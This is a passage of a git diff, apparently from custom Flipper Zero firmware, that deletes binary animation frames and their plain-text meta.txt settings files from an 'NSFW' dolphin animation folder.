b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_29.bm deleted file mode 100644 index 7cf18ec56..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_3.bm deleted file mode 100644 index b390594db..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_30.bm deleted file mode 100644 index ed1177edd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_31.bm deleted file mode 100644 index d75717ab8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_4.bm deleted file mode 100644 index cb2a388b1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_5.bm deleted file mode 100644 index f064c9178..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_6.bm deleted file mode 100644 index c2d7439d6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_7.bm deleted file mode 100644 index 61ed80a8c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_8.bm deleted file mode 100644 index 2a74e67e9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_9.bm deleted file mode 100644 index cdd00cebe..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/meta.txt deleted file mode 100644 index 87d8674d3..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_17/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 32 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 -Active cycles: 0 -Frame rate: 4 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_0.bm deleted file mode 100644 index f9f373c8a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_1.bm deleted file mode 100644 index 358cd2c6b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_10.bm deleted file mode 100644 index 778e56e04..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_11.bm deleted file mode 100644 index 079d2c5fe..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_12.bm deleted file mode 100644 index 6a12ebcc7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_13.bm deleted file mode 100644 index afcf29951..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_14.bm deleted file mode 100644 index 35edb7b98..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_15.bm deleted file mode 100644 index 93375a7f1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_16.bm deleted file mode 100644 index 5b0018ccc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_17.bm deleted file mode 100644 index 8aeb1431e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_18.bm deleted file mode 100644 index a13e12c50..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_19.bm deleted file mode 100644 index 756d95267..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_2.bm deleted file mode 100644 index e1310ae61..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_20.bm deleted file mode 100644 index a1f1b5523..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_21.bm deleted file mode 100644 index 58e9cedd7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_22.bm deleted file mode 100644 index acfe3c138..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_3.bm deleted file mode 100644 index 019df7991..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_4.bm deleted file mode 100644 index 404c4daf3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_5.bm deleted file mode 100644 index 383069c08..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_6.bm deleted file mode 100644 index 74ced0ef9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_7.bm deleted file mode 100644 index ac508265b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_8.bm deleted file mode 100644 index 64f7f2b98..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_9.bm deleted file mode 100644 index 368f046f0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/meta.txt deleted file mode 100644 index 248ba1feb..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_18/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 23 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_0.bm deleted file mode 100644 index e2cd387e7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_1.bm deleted file mode 100644 index ca4fae060..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_10.bm deleted file mode 100644 index 57997cf46..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_11.bm deleted file mode 100644 index e83fd0f17..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_12.bm deleted file mode 100644 index 71f550ac1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_13.bm deleted file mode 100644 index 7571319ec..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_14.bm deleted file mode 100644 index 08a11ff3a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_15.bm deleted file mode 100644 index e8ea8497a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_16.bm deleted file mode 100644 index 9d41e53d7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_17.bm deleted file mode 100644 index bedd5d5f0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_18.bm deleted file mode 100644 index 1842a9a2d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_19.bm deleted file mode 100644 index 8e0efbc79..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_2.bm deleted file mode 100644 index b3d7ccd71..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_20.bm deleted file mode 100644 index 4570e17e7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_21.bm deleted file mode 100644 index c1e56f0d4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_3.bm deleted file mode 100644 index d2b19b320..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_4.bm deleted file mode 100644 index 15e403371..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_5.bm deleted file mode 100644 index 7cb596161..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_6.bm deleted file mode 100644 index 130e81ee1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_7.bm deleted file mode 100644 index 7c32b8531..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_8.bm deleted file mode 100644 index 8310e2364..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_9.bm deleted file mode 100644 index 65a11c2d2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/meta.txt deleted file mode 100644 index 8e51d5271..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_19/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 22 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_0.bm deleted file mode 100644 index 32b4975f8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_1.bm deleted file mode 100644 index 09480f085..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_10.bm deleted file mode 100644 index 971056d7d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_11.bm deleted file mode 100644 index b4382c94c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_12.bm deleted file mode 100644 index 19f12c23a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_13.bm deleted file mode 100644 index 270e97e04..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_14.bm deleted file mode 100644 index 9b8a63575..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_2.bm deleted file mode 100644 index 463582fc1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_3.bm deleted file mode 100644 index 93ba26d46..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_4.bm deleted file mode 100644 index 0d4f6069b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_5.bm deleted file mode 100644 index b73adc76b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_6.bm deleted file mode 100644 index 0c815d8d7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_7.bm deleted file mode 100644 index 6683805c8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_8.bm deleted file mode 100644 index eeec41cc6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_9.bm deleted file mode 100644 index c0e42ae3a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/meta.txt deleted file mode 100644 index 30c74a14c..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_2/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 15 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_0.bm deleted file mode 100644 index 90a0c83fc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_1.bm deleted file mode 100644 index 32d65ac9c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_10.bm deleted file mode 100644 index b4f6e09c7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_11.bm deleted file mode 100644 index 6739b8b00..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_12.bm deleted file mode 100644 index 269511b93..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_13.bm deleted file mode 100644 index 963a0f0bb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_2.bm deleted file mode 100644 index 3d40185b0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_3.bm deleted file mode 100644 index 94f5ba977..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_4.bm deleted file mode 100644 index 291eea87f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_5.bm deleted file mode 100644 index 614a908ee..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_6.bm deleted file mode 100644 index 6df50f8e3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_7.bm deleted file mode 100644 index d227812e9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_8.bm deleted file mode 100644 index 17021f00b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_9.bm deleted file mode 100644 index aeca3a6fb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/meta.txt deleted file mode 100644 index 43dd6af5a..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_20/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 14 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_0.bm deleted file mode 100644 index ecec4cd1b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_1.bm deleted file mode 100644 index 0003fb4fc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_2.bm deleted file mode 100644 index 09f6598f9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_3.bm deleted file mode 100644 index 6fcc546bc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_21/frame_3.bm and /dev/null differ diff --git 